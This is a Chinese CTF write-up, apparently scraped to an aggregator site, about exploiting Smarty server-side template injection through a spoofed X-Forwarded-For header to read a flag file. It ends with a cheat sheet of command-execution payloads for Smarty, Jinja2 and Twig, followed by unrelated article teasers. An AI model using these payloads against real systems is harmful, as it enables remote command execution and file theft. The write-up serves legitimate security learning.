当前位置: 首页 > news >正文

[BJDCTF2020]The mystery of ip(ssti模板注入题目)

项目场景:

链接http://node3.buuoj.cn:29669/index.php
首页

问题描述:

观察页面找到三个链接,点开flag和hint看看,发现flag那个页面窃取了客户端的ip地址,这题的题目是“The mystery of ip”IP的神秘,看来解题是要从这里入手了。
The mystery of ip

尝试解决:

既然是窃取了IP,考虑是不是XFF或Client-IP这两个header,发现这个IP确实可控,0.0,感觉可以冲了
在这里插入图片描述
我想到的第一个就是之前看到的sql注入的http头注入,但是也只是想想罢了,再看看其他方法,试试xss???
我是傻逼
我是**,最后想到了ssti模板注入。

解决方案:

模板注入
做题前可以把模板注入先了解一下。
然后就开始测试是哪一种模板注入
在这里插入图片描述
在这里插入图片描述

经系列测试知道是smart注入,Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
解题开始:
输入第一个payload查找目录文件找到flag.php

{{system('ls')}}
或者用if语句
{if system('ls')}{/ls}
能用简单的谁会去用难的呢

1
再查看这个flag.php的文件就好
payload

{{system('cat /flag')}}
另一种写法我就不写了,自己可以试试

在这里插入图片描述
得到flag

结尾总结:

最后说一下,ssti模板注入的语法挺多,就smart注入的语法就完全不止在上面看到的那些,自己有空最好下来看看,我这里也给自己总结了几个。

Smarty模板注入:(我这里做笔记的时候全用的if语句就不改了)

{if phpinfo()}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
{if system(‘操作命令’)}{/if}
等等等等等等等等。。。。。。......

Jinja2:

  Python2:
#(system函数换为popen('').read(),需要导入os模块)  
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
  Python3:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

Twig:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-3098.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

基于51单片机的温度报警系统

目录 前言 一、温控系统是什么? 二、设计目的 1.环境需求 2.设计基础 三、设计 1.C51程序设计 2.Proteus仿真 (1).元器件如下 (2).原理图。 总结 前言 微型计算器自20世纪70年代诞生以来,得以迅…...

requests+re爬取猫眼电影排行

import requests from requests.exceptions import RequestException import re,json,timedef get_one_page(url):#获取网页信息try:headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/53…...

StringBoot编程式事务与声明式事务,附详细答案

前言 互联网时代,瞬息万变。一个小小的走错,就有可能落后于别人。我们没办法去预测任何行业、任何职业未来十年会怎么样,因为未来谁都不能确定。只能说只要有互联网存在,程序员依然是个高薪热门行业。只要跟随着时代的脚步&#…...

Twitter教程:如何下载Twitter数据副本?

Twitterrific Mac破解版是一款非常现代化优秀的桌面Twitter客户端,这款软件不仅看起来惊人,它的表现也是非常棒的,本文给大家的带来了如何下载Twitter数据副本的教程。 教程如下 在 iPhone 或 iPad 上打开“Twitter”。(您也可以使用 Twitter.com 网站&#xff09…...

Android面试必刷的200道真题,吐血整理

���������������������&am...

4-1 Python常用内置算法与数据结构常考题

一、你使用过哪些常用内置算法和数据结构 仔细回想一下你用过哪些内置的算法数据结构? 1.sorted 2.dict/list/set/tuple… 3.问题:想的不全或者压根没了解和使用过 数据结构/算法语言内置内置库线性结构list(列表)/tuple(元组)array(数组,不…...

【内网学习笔记】8、powercat 的使用

1、下载安装 powercat powercat 可以视为 nc 的 powershell 版本,因此也可以和 nc 进行连接。 powercat 可在 github 进行下载,项目地址为:https://github.com/besimorhino/powercat 下载下来 powercat.ps1 文件后,直接导入即可…...

栈和队列(二) : 用栈实现队列

leetcode232.用栈实现队列 https://leetcode-cn.com/problems/implement-queue-using-stacks/ 使用栈实现队列的下列操作: push(x) – 将一个元素放入队列的尾部。 pop() – 从队列首部移除元素。 peek() – 返回队列首部的元素。 empty() – 返回队列是否为空。…...

手撕JS面试题大全一

冒泡排序 /* 两两比较 */ function bubleSort(arr) {var len arr.lengthfor (let outer len; outer > 2; outer--) {for (let inner 0; inner < outer - 1; inner) {if (arr[inner] > arr[inner 1]) {[arr[inner], arr[inner 1]] [arr[inner 1], arr[inner]]}}…...

CentOS 配置php环境

一.安装apache 1.安装apache yum install httpd2.修改配置文件 vi /etc/httpd/conf/httpd.conf将#ServerName www.example.com:80前面的#去掉 修改为ServerName localhost:80 3.添加端口,刷新配置,并查看确认 firewall-cmd --permanent --zonepublic --add-port80/tcp fire…...

测试技巧:弱网测试

弱网测试场景 当前APP网络环境比较复杂&#xff0c;网络制式有2G、3G、4G网络&#xff0c;还有越来越多的公共Wi-Fi。不同的网络环境和网络制式的差异&#xff0c;都会对用户使用app造成一定影响。另外&#xff0c;当前app使用场景多变&#xff0c;如进地铁、上公交、进电梯等…...

PMP哪里报名

首先了解下PMP考试时间&#xff0c;一年四次&#xff0c;正常情况是每年3、6、9、12月份考试&#xff1b; 其次了解PMP考试需要两次报名&#xff0c;分别是英文报名和中文报名&#xff1b;且两次报名通过后&#xff0c;才能正常考试。 下面分别介绍PMP英文报名和PMP考试中文报…...

PHP中使用ElasticSearch

PHP中使用ElasticSearch 使用cURL尝试ElasticSearch查看es基本信息列出所有的Index列举每个Index下的Type添加Index删除Index安装中文分词插件ik (安装完需要重启es)创建一个Index,并设置其结构和分词向Index增加记录POST方式(POST方式不需要传id,id随机生成)查看指定条目…...

Thread类的常用方法

Thread类的常用方法 void start(): 启动线程&#xff0c;并执行对象的run()方法run(): 线程在被调度时执行的操作static Thread currentThread()&#xff1a; 返回当前线程。在Thread子类中就 是this&#xff0c;通常用于主线程和Runnable实现类String getName(): 返回线程的名…...

浅谈设计模式(三)

前言 之前详细介绍了几种常用的设计模式&#xff0c;最后总结一下附上所有设计模式的类图以及六大设计原则 一、创建型 1.Factory Method&#xff08;工厂方法&#xff09; 定义&#xff1a;定义了一个创建对象的接口&#xff0c;但由子类决定要实例化的类是哪一个。工厂方法…...

AR增强现实让科技贴近生活

AR也叫增强现实&#xff0c;它是在1990年被正式提出的&#xff0c;在时间上要比VR虚拟现实技术晚一些&#xff0c;它的实现主要通过三维空间、场景交融、现实视频等技术相互作用、融合实现的。 AR增强现实技术在工业领域中&#xff0c;有着超强的适用性&#xff0c;假设某件工…...

Python基础——文件操作

编程过程中总免不了需要对各种文件进行读与写&#xff0c;这篇文章主要总结对文件的常用操作&#xff0c;以备以后不时之需。 1、读文件 1.1、读文本文件 # 1.打开文件 file_object open(info.txt, modert, encodingutf-8)# 2.读取文件内容&#xff0c;并赋值给data data …...

教你怎么才能删除百度负面新闻

互联网技术有时是一把双刃刀&#xff0c;我们可以运用它来对企业品牌形象、商品、知名品牌等开展宣传推广&#xff0c;殊不知竞争者亦能够运用它来对公司开展故意污蔑来减少敌人在制造行业里的权重值和权威性&#xff0c;进而给消费者行为引入一些对公司欠佳的信息内容&#xf…...

c++程序设计中虚基类,多继承知识点

一.前言 如上 二.题目 分别声明Teacher(教师)类和Cadre(干部)类&#xff0c;采用多重继承方式由这两个类派 生出新类Teacher_Cadre(教师兼干部&#xff09;类。要求&#xff1a; &#xff08;1)在两个基类中都包含姓名、年龄、性别、地址、电话等数据成员。 &#xff08;2&a…...

FFmpeg:avcodec_encode_video()

本文简单分析FFmpeg的avcodec_encode_video2()函数。该函数用于编码一帧视频数据。avcodec_encode_video2()函数的声明位于libavcodec\avcodec.h&#xff0c;如下所示。 /*** Encode a frame of video.** Takes input raw video data from frame and writes the next output p…...

Vue3.0 过度和动画

一、css基础动画 animation、keyframes 的用法 菜鸟教程 animation 传送门 https://www.runoob.com/cssref/css3-pr-animation.html .animation{position: absolute;border: 1px solid red;animation: leftrightleft 10s infinite;transition: all 3s;}keyframes leftrightlef…...

设计一个类BankAccount描述银行储户信息

设计一个类BankAccount描述银行储户信息&#xff0c;包含3个成员变量&#xff1a;储户的ID&#xff0c;姓名和余额&#xff0c;编写构造方法实现成员变量初始化。然后编写程序Exam3&#xff0c;创建一个HashMap对象&#xff0c;存放3个BankAccount对象&#xff0c;每个BankAcco…...

RHEL6.8在虚拟机无法自动识别网卡问题

今天我遇到克隆的虚拟机新增网卡无法被系统自动识别&#xff0c;排查和解决方式如下&#xff1a;1、查 看网卡的MAC地址 cat /etc/udev/rules.d/70-persistent-net.rules 2、编 辑/etc/sysconfig/network-scripts/ifcfg-eth0网卡文件&#xff0c;HWADDR地址一定得对应上网卡的M…...

HTML的列表、表格与表单标签的使用

列表、表格和表单标签的常用属性归纳&#xff0c;如下图所示&#xff1a; 一、列表标签举例 列表标签的应用&#xff0c;源代码如下所示&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta htt…...

关于Apple Silicon-M1的进阶解读

如果大家对文章感兴趣&#xff0c;欢迎转发&#xff0c;收藏&#xff0c;评论。感谢支持&#xff01; 如果你对计算机科学和科技类知识感兴趣&#xff0c;请 Follow【老铁的最新号外】各平台同名&#xff0c;持续更新&#xff0c;感谢支持。 1. 苹果为什么要自研Apple Silicon-…...

剖析Android开发未来的出路在哪里,一篇文章帮你解答

前言 在这个网络发展快速的时代&#xff0c;我想问为什么你选择做程序员&#xff1f;有人说因为不善交际&#xff0c;也有人说最火的行业互联网&#xff0c;最好的职业程序员。确实在这个繁荣的行业&#xff0c;只要你自己不下船技术不水&#xff0c;就可以衣食无忧&#xff0…...

封装普通数字格式转为会计金额格式的方法及使用

封装普通数字格式转为会计金额格式的方法及使用的流程如下 一、把方法封装在format.js里 // 普通数字转会计金额格式 function moneyFormat(num) {// 判断传进来的数字是否为非空数字if (!isNaN(parseFloat(num))) {var newNum Number(Number(num).toFixed(2)).toLocaleStri…...

第七章——实现-测试1【应聘准备可看看】

第七章——实现-测试12 软件测试基础2.1 测试的目标&#xff08;尽可能&#xff09;2.2 测试原则2.3 测试方法2.4 测试步骤2.5 测试阶段的信息流3 单元测试3.1 测试重点3.2 代码审查3.3 计算机测试4 集成测试4.1 自顶向下集成4.2 自底向上集成5 确认测试5.4 软件配置复查5.3 Al…...

ElasticSearch: 配置远程词库更新后,如何使历史存储的数据立马生效(即刷新倒排索引列表)

问题背景 在我们自定义拓展词库更改后&#xff0c;在原先的索引文档中&#xff0c;由于不是新插入的数据&#xff0c;所以其倒排索引列表还是原先的分词列表数据&#xff0c;导致就算拓展了词库&#xff0c;新增的分词也没有生效。在不重新导入数据的前提下&#xff0c;处理办…...

一步搞定你疑惑的数据结构与算法系列,原理+实战讲解

前言 假如你去面试&#xff0c;面试官让你聊一下对索引的理解&#xff0c;然而你对索引的理解仅限于&#xff0c;检索数据就是快&#xff0c;是一种数据结构这个层面&#xff0c;那你就只能回家等通知了。 为了避免这种尴尬的事情发生&#xff0c;咔咔用时两天将索引的内容在…...

【014】求字体-上传图片自动识别字体

设计者看到一个好看的字体可能想知道是什么字体&#xff0c;该字体是否有版权可商用&#xff0c;在“求字体”网站就可以一站式解决这些与字体相关的问题。 地址&#xff1a;参见文末图 在“求字体”网站搜索栏输入字体名称可以搜索字体安装包并下载安装&#xff0c;还可以上传…...

字体测试打分软件哪个好,准确率奇高的看图识字体网站-在线认字体

准确率奇高的看图识字体网站-在线认字体今天在百度知道里看到有人求助帮他认字体&#xff0c;说实才的现在的字体越来越多&#xff0c;常用的10几种还能认&#xff0c;多了就没办法了&#xff0c;还好&#xff0c;通过搜索找到1个网站&#xff0c;支持中文字体及英文字体&#…...

好站推荐-四个在线识别字体网站,从此不在为找字体烦恼

每天字体设计交流群里都有人问这是什么字体那是什么字体&#xff0c;字库那么多真没有人能认识那么&#xff0c;分享四个在线识别字体的网站&#xff0c;不管你找字体&#xff0c;还是求字体&#xff0c;这几个网站能帮你稿定&#xff0c; 第一个&#xff1a;站长工具的上传图…...

华为服务器上传文件后怎么通过链接查看,怎么上传图片到服务器查看链接

怎么上传图片到服务器查看链接 内容精选换一换视频水印&#xff0c;是指在视频上添加图片(如企业logo、电视台台标、用户昵称等)&#xff0c;以突出品牌、维护版权、增加产品的识别度。您可以通过API或者调用转码SDK设置视频水印。如果不通过HDMI输出和查看技能结果&#xff0c…...

python识别图片文字_python实现简单图片文字识别翻译OCR

场景描述图片识别翻译前图片识别翻译后 第一步引入所需要的库 from PIL import ImageFont from PIL import Image from PIL import ImageDraw import hashlib from urllib import parse from urllib import request import random import base64 import json 第二步图片文字 识…...

html看图识颜色,canvas 识别图片颜色 解析图片颜色

方法getColorXY(x,y) 传入坐标点&#xff0c;获取坐标点的颜色值getColors() 返回 promise 对象 解析完成之后返回图片的颜色列表属性progress String 解析图像时的进度 百分比accuracy Number 解析图像颜色时的精度htmljs方法// 引入canvas_get_image_colors库// 实例代码let …...

从目录文件inode角度,理解软连接的由来

链接&#xff0c;可以理解为 windows 系统中的 “快捷方式”。 其中最早的链接技术&#xff0c;是硬链接。 目录文件的 inode 存放的是 entry&#xff0c;entry 的 key 是文件名称&#xff0c; value 是 inode 的磁盘 Inode 数组物理编号&#xff08;数组下标&#xff09;。 …...

python爬虫-字体反爬全流程(woft文件-转换字体-字体图片-图片识别全流程)

python字体反爬 解决流程&#xff1a; 分析获得woff文件路径将woff文件转换为svg格式文件提取svg文件中的字体轮廓数据&#xff0c;画png图&#xff0c;此处首次转化的png图还需要上下镜像处理&#xff0c;和将背景色改为白色&#xff0c;方便识别调用百度文字识别接口识别字…...

java 移动页面中的图片上传_移动端上传图片(ajax跨域请求)

第一次写项目开发经验&#xff0c;望担待。除了前端以外的事就不叨叨了&#xff0c;下面开始弄干活(两个页面首页、列表页)。项目开发简述项目需求&#xff1a;上传图片并展示。项目地址&#xff1a;项目的链接地址开发工具&#xff1a;sublime后台&#xff1a;java开发语言&am…...

python识别图片手写文字_Python徒手实现识别手写数字—简易图片数据库

Python徒手实现识别手写数字—简易图片数据库写在前面上一篇文章Python徒手实现识别手写数字—图像的处理中我们讲了图片的处理&#xff0c;将图片经过剪裁&#xff0c;拉伸等操作以后将每一个图片变成了1x10000大小的向量。但是如果只是这样的话&#xff0c;我们每一次运行的时…...

qt 字体旋转90_如何识别图片和视频上文字的字体

有时看到一个视频&#xff0c;或者软件上的文字很好看&#xff0c;可又不知道是什么字体&#xff0c;想下载也无从下手。字体下面介绍两种识别字体的方式&#xff0c;一种是电脑上使用&#xff0c;一种是手机APP方式。一、电脑网页版有个网站叫“识字体网”www.likefont.com&am…...

传图识别字体--求字体网

通过上传的图片识别图片上的字体&#xff0c;同时提供相应字体包下载http://www.qiuziti.com/转载于:https://www.cnblogs.com/imaifly/p/4815833.html...

记账系统推荐金蝶精斗云_金蝶精斗云好用的免费的财务做账软件有哪些?

会计工作其实不只是与企业、会计工作人员相关&#xff0c;它的基本原则和精神其实是渗透到了我们日常生活的方方面面。当然了&#xff0c;在我们日常生活之中&#xff0c;对于会计做账软件的需求并不如企业和会计工作人员的需求那么高。不过&#xff0c;如果是免费的会计软件的…...

小规模公司如何简易做账报税?

我们都知道&#xff0c;只要是在取得公司营业执照&#xff0c;就需要按时做账报税。前天一位小规模创业者留言请教我&#xff1a;如何简易做账报税&#xff1f;今天小编就来聊一聊&#xff0c;小规模公司如何简易做账报税&#xff1f;希望能够帮助到更多创业者。 小规模公司如何…...

计算机软件服务费入哪个科目,软件服务费计入什么科目?

摘要&#xff1a;这是一篇关于软件服务费计入什么科目?的文章&#xff0c;在软件服务费计入什么科目?文章中给各位财务人员讲解的是有关软件服务费计入什么科目?的会计实务处理。软件服务费计入什么科目?答:软件服务费一般计入管理费用:会计分录如下:借:管理费用贷:银行存款…...

简账(开源记账软件)-后端环境简介及部署

文章目录简账(开源记账软件)-后端环境简介及部署前言一、后端主要技术栈简介具体涉及的技术如下所示&#xff1a;Q&A二、环境部署1. 安装JDK112. 从Github上下载压缩包后解压即可3. 安装docker4. 使用docker-compose创建容器4. 运行程序5. 查看在线文档三、总结四、致谢简账…...

软件测试的八大原则

在对软件测试行业有了初步的聊了解以后&#xff0c;对于初学者并不能急于学习软件测试相关技术&#xff0c;而是先要掌握软件测试的原则&#xff0c;这样可以帮助各位建立一个正确的测试观念&#xff0c;帮助你在测试的道路上成长更快。关于软件测试的原则主要有如下几条。 1. …...

C. Almost All Multiples(贪心 + 思维)

Problem - C - Codeforces 给定两个整数n和x&#xff0c;如果pi是i的倍数&#xff0c;所有1≤i≤n-1&#xff0c;pn1&#xff0c;且p1x&#xff0c;则长度为n的排列组合† p被称为搞笑。 找出最小的有趣的排列组合&#xff0c;或报告说不存在这样的排列组合。 † 长度为n的排…...

简账(开源记账软件)-前端环境简介及部署

文章目录简账(开源记账软件)-前端环境简介及部署前言一、前端主要技术栈简介具体涉及的技术如下所示&#xff1a;Q&A二、环境部署1. 安装nodejs2. 从Github上下载代码3. 安装依赖4. 运行项目三、总结四、致谢简账(开源记账软件)-前端环境简介及部署 前言 由于自己有记账的需…...

《软件工程之美》打卡第七周

文章目录前言35 | 版本发布&#xff1a;软件上线只是新的开始36 | DevOps工程师到底要做什么事情&#xff1f;37 | 遇到线上故障&#xff0c;你和高手的差距在哪里&#xff1f;38 | 日志管理&#xff1a;如何借助工具快速发现和定位产品问题 &#xff1f;39 | 项目总结&#xf…...